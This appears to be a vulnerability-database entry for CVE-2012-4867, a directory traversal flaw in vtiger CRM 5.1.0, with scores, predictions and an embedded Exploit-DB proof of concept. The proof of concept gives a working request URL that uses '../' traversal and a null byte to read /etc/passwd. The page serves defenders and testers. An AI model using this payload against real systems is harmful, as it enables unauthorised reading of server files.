CVE-2012-4867

medium

Published 2012-09-06 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Directory traversal vulnerability in modules/com_vtiger_workflow/sortfieldsjson.php in vtiger CRM 5.1.0 allows remote attackers to read arbitrary files via a .. (dot dot) in the module_name parameter.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18770 webapps php verified text · 1 KB

Pi3rrot · 2012-04-22

vTiger CRM 5.1.0 - Local File Inclusion

text exploit Source: Exploit-DB

# Exploit Title: VTiger CRM
# Google Dork: None
# Date: 20/03/2012
# Author: Pi3rrot
# Software Link: http://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.1.0/
# Version: 5.1.0
# Tested on: CentOS 6
# CVE : none

We have find this vulnerabilitie in VTiger 5.1.0
In this example, you can see a Local file Inclusion in the file sortfieldsjson.php

Try this :
https://localhost/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00

Application impact

Vendor	Product	Versions	Fixed
vtiger	vtiger_crm	`5.1.0`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.